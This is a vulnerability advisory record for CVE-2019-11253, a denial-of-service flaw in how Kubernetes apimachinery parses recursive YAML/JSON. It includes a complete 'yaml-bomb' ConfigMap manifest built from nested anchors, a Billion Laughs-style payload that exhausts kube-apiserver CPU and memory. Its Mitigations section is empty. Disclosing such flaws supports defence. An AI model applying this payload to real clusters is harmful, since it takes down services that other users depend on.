Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing
Date: 2023-02
Affected: go/k8s.io/apimachinery
Attack vector: dos
Category: vulnerability-disclosure
Severity: High
CWE: CWE-20
CWE-776
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue. Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage. ```yaml apiVersion: v1 data: a: &a ["web","web","web","web","web","web","web","web","web"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] kind: ConfigMap metadata: name: yaml-bomb namespace: default ``` ### Specific Go Packages Affected - k8s.io/apimachinery/pkg/runtime/serializer/json - k8s.io/apimachinery/pkg/util/json


Mitigations:

Architectural layers (MAESTRO):